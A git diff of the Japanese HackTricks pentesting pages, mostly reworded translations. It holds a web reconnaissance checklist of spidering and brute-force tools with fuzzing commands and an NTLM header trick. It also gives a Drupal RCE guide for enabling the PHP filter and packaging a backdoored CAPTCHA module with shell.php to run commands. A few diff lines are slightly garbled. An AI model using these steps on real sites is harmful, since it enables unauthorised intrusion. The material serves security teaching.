* [ ] **初期チェック**から始めます:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**HTTPSの場合
* [ ] ウェブページの**スパイダー**を開始します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメータ**を**見つける**時間です。また、**特別な発見**を確認します。
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーを実行する必要があります。_
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見されるたびに、それをスパイダーする必要があります。_
* [ ] **ディレクトリブルートフォース**:発見されたすべてのフォルダーをブルートフォースして、新しい**ファイル**や**ディレクトリ**を探します。
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースを実行する必要があります。_
* [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見されるたびに、それをブルートフォースする必要があります。_
* [ ] **バックアップチェック**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。
* [ ] **ブルートフォースパラメータ****隠れたパラメータ**を**見つける**ことを試みます。
* [ ] **ユーザー入力**を受け入れるすべての可能な**エンドポイント**を**特定**したら、それに関連するすべての種類の**脆弱性**を確認します。
@ -83,7 +83,7 @@ Search **for** [**ウェブアプリケーションの** **バージョンの脆
### ウェブ技術のトリック
異なるよく知られた**技術**で**脆弱性を見つけるための**いくつかの**トリック**
異なるよく知られた**技術**で**脆弱性**を見つけるための**トリック**:
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
* [**Apache**](apache.md)
@ -122,7 +122,7 @@ _**同じドメイン**が異なる**ポート**、**フォルダ**、および*
### ソースコードレビュー
アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を自分で実施することに加えて、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります:
アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を自分で行うことに加えて、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります:
* **変更履歴やReadmeやバージョン**ファイル、または**バージョン情報にアクセス可能な**ものはありますか?
* **認証情報**はどのように、どこに保存されていますか? **認証情報**(ユーザー名やパスワード)が含まれる(アクセス可能な?)**ファイル**はありますか?
@ -151,10 +151,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMSスキャナー
CMSが使用されている場合は、**スキャナーを実行する**ことを忘れないでください。もしかしたら何か面白いものが見つかるかもしれません:
CMSが使用されている場合は、**スキャナーを実行する**ことを忘れないでください。もしかしたら何か興味深いものが見つかるかもしれません:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin**ウェブサイトのセキュリティ問題。(GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin**のセキュリティ問題を検出します。(GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **または** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -181,7 +181,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
* /.well-known/
* メインページおよびサブページのコメントも確認してください。
**エラーの強制**
**エラーを強制する**
ウェブサーバーは、奇妙なデータが送信されると**予期しない動作**をすることがあります。これにより、**脆弱性**や**機密情報の漏洩**が発生する可能性があります。
@ -199,7 +199,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
### **SSL/TLSの脆弱性**
* アプリケーションが**HTTPSの使用を強制していない**場合、**MitM攻撃に対して脆弱**です。
* アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitM攻撃に対して脆弱**です。
* アプリケーションが**HTTPを使用して機密データパスワードを送信している**場合、これは高い脆弱性です。
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックし(バグバウンティプログラムではこの種の脆弱性は受け入れられない可能性があります)、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認してください:
@ -218,31 +218,31 @@ SSL/TLSの脆弱性に関する情報:
### スパイダーリング
ウェブ内で何らかの**スパイダー**を起動します。スパイダーの目的は、テストされたアプリケーションから**できるだけ多くのパスを見つけること**です。したがって、ウェブクローと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。
ウェブ内で何らかの**スパイダー**を起動します。スパイダーの目的は、テストされたアプリケーションから**できるだけ多くのパスを見つけること**です。したがって、ウェブクローリングと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイル内のLinkFinderおよび外部ソースArchive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてArchive.orgを使用。
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、「おいしいファイル」も示します。
* [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.orgも検索します。
* [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.orgも検索します。
* [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、有用です。ホストのファイルとパスのファイルを指定するだけで、megは各ホストの各パスを取得し、応答を保存します。
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を持つHTMLスパイダー。ただし、メンテナンスされていないようで、事前コンパイルされたバージョンは古く、現在のコードはコンパイルされません。
* [**gau**](https://github.com/lc/gau) (go): 外部プロバイダーwayback、otx、commoncrawlを使用するHTMLスパイダー。
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけてリストします。
* [**galer**](https://github.com/dwisiswant0/galer) (go): JSレンダリング機能を持つHTMLスパイダー。
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTMLスパイダー、JSファイル内の新しいパスを検索できるJSビューティファイ機能を持っています。LinkFinderのラッパーである[JSScanner](https://github.com/dark-warlord14/JSScanner)も見る価値があります。
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルのエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの忍者に役立ちます。
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルの両方からエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの忍者に役立ちます。
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに役立ちます。メンテナンスされていないようです。
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイルHTMLを与えると、巧妙な正規表現を使用して相対URLを見つけて抽出します。
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイルHTMLを与えると、巧妙な正規表現を使用して、醜い(ミニファイされた)ファイルから相対URLを見つけて抽出します。
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。
* [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを印刷します。
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むために読み込まれたすべてのURLを出力します。
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): いくつかの前述のツールのオプションを組み合わせたコンテンツ発見ツール。
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能。
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得します。
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得するツール
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 特定のターゲットのエンドポイントを発見するために使用されるツールです。
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Waybackマシンからリンクを発見します応答をダウンロードし、さらにリンクを探します
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めることによるクローや、特定の正規表現を使用して機密情報を見つけます。
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティ専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクロラー/スパイダーです。
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めることによるクローリングや、特定の正規表現を使用して機密情報を見つけます。
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティ専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクロラー/スパイダーです。
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL、パス、シークレット、その他の興味深いデータをJavaScriptソースコードから抽出するためのGoパッケージおよび[コマンドラインツール](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)です。
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForgeは、リクエストからパラメータとエンドポイントを抽出してカスタムワードリストを作成するためのシンプルな**Burp Suite拡張機能**です。
* [**katana**](https://github.com/projectdiscovery/katana) (go): これに最適な素晴らしいツールです。
@ -250,18 +250,18 @@ SSL/TLSの脆弱性に関する情報:
### ディレクトリとファイルのブルートフォース
ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**をブルートフォースするこを確認し、**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースします(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\
ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\
ツール:
* **Dirb** / **Dirbuster** - Kaliに含まれており、**古い**(および**遅い**)ですが機能します。自己署名証明書と再帰検索を許可します。他のオプションと比較して遅すぎます。
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書を許可しませんが**、再帰検索を許可します。
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可されていませんが**、再帰検索を許可します。
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的**検索はありません。
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速で、再帰検索をサポートします。**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- 高速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): これはスパイダーではありませんが、見つかったURLのリストを与えると「重複」URLを削除します。
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 異なるページのburp履歴からディレクトリのリストを作成するためのBurp拡張機能。
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 機能が重複しているURLを削除しますjsインポートに基づく
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JSインポートに基づいて重複機能を持つURLを削除します
* [**Chamaleon**](https://github.com/iustin24/chameleon): 使用されている技術を検出するためにwapalyzerを使用し、使用するワードリストを選択します。
**推奨辞書:**
@ -289,16 +289,16 @@ _ブルートフォースやスパイダーリング中に新しいディレク
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 乗っ取りの危険があるHTML内の壊れたリンクを見つけます。
* **ファイルバックアップ**: すべてのファイルを見つけたら、すべての実行可能ファイル("_.php_", "_.aspx_"...)のバックアップを探します。バックアップの命名に一般的なバリエーションは次のとおりです: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmpおよびfile.old._ また、[**bfac**](https://github.com/mazen160/bfac) **または** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**を使用できます。**
* **新しいパラメータを発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、** [**parameth**](https://github.com/maK-/parameth)**、** [**x8**](https://github.com/sh1yo/x8) **および** [**Param Miner**](https://github.com/PortSwigger/param-miner) **を使用して隠れたパラメータを発見できます。可能であれば、各実行可能ウェブファイルで隠れたパラメータを検索してみてください。**
* **新しいパラメータを発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、** [**parameth**](https://github.com/maK-/parameth)**、** [**x8**](https://github.com/sh1yo/x8) **および** [**Param Miner**](https://github.com/PortSwigger/param-miner) **を使用して隠れたパラメータを発見できます。可能であれば、各実行可能ウェブファイルで隠れたパラメータを検索してみてください。**
* _Arjunのすべてのデフォルトワードリスト:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **コメント:** すべてのファイルのコメントを確認し**認証情報**や**隠れた機能**を見つけることができます。
* **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**のコメント内に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**のコメントに情報を**隠す**ことです。
* **コメント:** すべてのファイルのコメントを確認してください。**認証情報**や**隠れた機能**を見つけることができます。
* **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**のコメント内に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。の可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**のコメントに情報を**隠す**ことです。
* **APIキー**: **APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**](https://github.com/l4yton/RegHex\)/)**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。
* **S3バケット**: スパイダーリング中に、**サブドメイン**または**リンク**が**S3バケット**に関連しているかどうかを確認します。その場合、[**バケットの**権限を**確認**します](buckets/)。
* **S3バケット**: スパイダーリング中に、**サブドメイン**または**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの**権限を**確認**してください](buckets/)。
### 特別な発見
@ -308,10 +308,10 @@ _ブルートフォースやスパイダーリング中に新しいディレク
* **CSS**ファイル内の他のファイルへの**リンク**を探します。
* [**.git**ファイルを見つけた場合、いくつかの情報を抽出できます](git.md)
* **.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。
* **APIエンドポイント**を見つけた場合、[それらもテストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。
* **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、変更があれば、コードに潜在的な脆弱性が導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
* 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認し、脆弱性があるかどうかを確認する必要があります。
* [**.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。](https://github.com/PortSwigger/param-miner)
* **APIエンドポイント**を見つけた場合、[それらもテストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「それらのように見える」でしょう。
* **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、場合によっては、変更がコードに潜在的な脆弱性が導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
* 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認し、脆弱性があるかどうかを確認する必要があります。
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)、[https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io)、[http://jsnice.org/](http://jsnice.org)
* **JsFuckのデオブフスケーション**文字でのjavascript:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
@ -327,21 +327,21 @@ _ブルートフォースやスパイダーリング中に新しいディレク
**502 Proxy Error**
ページが**そのコード**で**応答**する場合、**不適切に構成されたプロキシ**である可能性が高いです。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信するとホストヘッダーや他の一般的なヘッダーを含む、**プロキシ**は_**google.com**_に**アクセス**しようとし、**SSRF**を見つけることになります。
ページが**そのコード**で**応答**する場合、それはおそらく**不適切に構成されたプロキシ**です。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信するとホストヘッダーや他の一般的なヘッダーを含む、**プロキシ**は**_google.com_**に**アクセス**しようとし、**SSRF**を見つけることになります。
**NTLM認証 - 情報漏洩**
認証を要求しているサーバーが**Windows**であるか、**資格情報**および**ドメイン名**を要求するログインを見つけた場合、**情報漏洩**を引き起こすことができます。\
**ヘッダー**を送信します: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` そして、**NTLM認証の動作**により、サーバーは内部情報IISバージョン、Windowsバージョン...を「WWW-Authenticate」ヘッダー内で応答します。\
この操作は、**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。
認証を要求しているサーバーが**Windows**であるか、**資格情報**を要求するログインを見つけた場合**ドメイン名**を要求する場合、**情報漏洩**を引き起こすことができます。\
**ヘッダーを送信します**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` そして、**NTLM認証の動作**により、サーバーは内部情報IISバージョン、Windowsバージョン...を「WWW-Authenticate」ヘッダー内で応答します。\
このプロセスを**自動化**するには、**nmapプラグイン**"_http-ntlm-info.nse_"を使用できます。
**HTTPリダイレクト (CTF)**
**リダイレクション**内に**コンテンツ**を**挿入**することが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、何かが**隠されている**可能性があります
**リダイレクション**内に**コンテンツ**を**挿入**することが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、そこに**隠された**ものがあるかもしれません
### ウェブ脆弱性の確認
ウェブアプリケーションの包括的な列挙が行われたので、多くの可能性のある脆弱性を確認する時が来ました。チェックリストはここにあります:
ウェブアプリケーションの包括的な列挙が行われたので、さまざまな可能性のある脆弱性を確認する時が来ました。チェックリストはここにあります:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -353,11 +353,11 @@ _ブルートフォースやスパイダーリング中に新しいディレク
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
* [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### ページの変更を監視
### ページの変更を監視する
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)のようなツールを使用して、脆弱性を挿入する可能性のある変更を監視できます。
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい場合 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -442,7 +442,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>

View file

@ -1,44 +1,44 @@
# Drupal RCE
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## PHPフィルターモジュールを使用して
## With PHP Filter Module
{% hint style="warning" %}
古いバージョンのDrupal **(バージョン8以前)** では、管理者としてログインし、**`PHP filter`モジュールを有効にする**ことが可能でした。このモジュールは「埋め込まれたPHPコード/スニペットを評価することを許可します。」しかし、バージョン8以降、このモジュールはデフォルトでインストールされていません。
古いバージョンのDrupal **(バージョン8以前)** では、管理者としてログインし、**`PHP filter`モジュールを有効にする**ことが可能でした。このモジュールは「埋め込まれたPHPコード/スニペットを評価することを許可します。」しかし、バージョン8からはこのモジュールはデフォルトでインストールされていません。
{% endhint %}
**phpプラグインがインストールされている必要があります** (_/modules/php_ にアクセスして、**403**が返される場合は、**存在します**。**見つからない**場合は、**phpプラグインはインストールされていません**)
_モジュール_ -> (**チェック**) _PHPフィルター_ -> _設定を保存_
_モジュール_ -> (**チェック**) _PHP Filter_ -> _設定を保存_
![](<../../../.gitbook/assets/image (247) (1).png>)
次に、_コンテンツを追加_ -> _基本ページ_または_記事_を選択 -> _本文にphpシェルコードを書く_ -> _テキスト形式_で_PHPコード_を選択 -> _プレビュー_を選択
次に、_コンテンツを追加_ -> _基本ページ_または_記事_を選択 -> _本文にphpシェルコードを書く_ -> _テキスト形式_で_ PHPコード_を選択 -> _プレビュー_を選択
![](<../../../.gitbook/assets/image (338).png>)
最後に、新しく作成したノードにアクセスします
最後に、新しく作成したノードにアクセスします:
```bash
curl http://drupal-site.local/node/3
```
## PHPフィルターモジュールのインストール
{% hint style="warning" %}
現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはできなくなりました
現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはもはやできません
{% endhint %}
バージョン**8以降、** [**PHPフィルター**](https://www.drupal.org/project/php/releases/8.x-1.1) **モジュールはデフォルトでインストールされていません**。この機能を利用するには、**自分でモジュールをインストールする必要があります**。
@ -52,10 +52,10 @@ curl http://drupal-site.local/node/3
## バックドア付きモジュール
{% hint style="warning" %}
現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはできなくなりました
現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはもはやできません
{% endhint %}
バックドア付きモジュールは、**既存のモジュールにシェルを追加することによって作成できます**。モジュールはdrupal.orgウェブサイトで見つけることができます。例えば、[CAPTCHA](https://www.drupal.org/project/captcha)のようなモジュールを選びま。下にスクロールして、tar.gzの[アーカイブ](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)のリンクをコピーします。
バックドア付きモジュールは、**既存のモジュールにシェルを追加することによって作成できます**。モジュールはdrupal.orgウェブサイトで見つけることができます。[CAPTCHA](https://www.drupal.org/project/captcha)のようなモジュールを選びましょう。下にスクロールして、tar.gzの[アーカイブ](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)のリンクをコピーします。
* アーカイブをダウンロードし、その内容を抽出します。
```
@ -80,7 +80,7 @@ RewriteBase /
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* **管理アクセス**があると仮定して、サイドバーの**`管理`**をクリックし、次に**`拡張`**をクリックします。次に、**`新しいモジュールをインストール`**ボタンをクリックすると、インストールページ(例`http://drupal-site.local/admin/modules/install`に移動します。バックドア付きのCaptchaアーカイブを参照し、**`インストール`**をクリックします。
* ウェブサイトに**管理者アクセス**があると仮定して、サイドバーの**`管理`**をクリックし、次に**`拡張`**をクリックします。次に、**`新しいモジュールをインストール`**ボタンをクリックすると、インストールページ(例: `http://drupal-site.local/admin/modules/install`に移動します。バックドア付きのCaptchaアーカイブに移動し、**`インストール`**をクリックします。
* インストールが成功したら、**`/modules/captcha/shell.php`**に移動してコマンドを実行します。
## 設定同期によるDrupalのバックドア <a href="#backdooring-drupal" id="backdooring-drupal"></a>
@ -91,15 +91,15 @@ tar cvf captcha.tar.gz captcha/
_拡張_メニュー/admin/modulesでは、すでにインストールされていると思われるプラグインを有効化できます。デフォルトでは、プラグイン_メディア_と_メディアライブラリ_は有効化されていないようなので、有効化しましょう。
有効化前
有効化前:
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
有効化後
有効化後:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
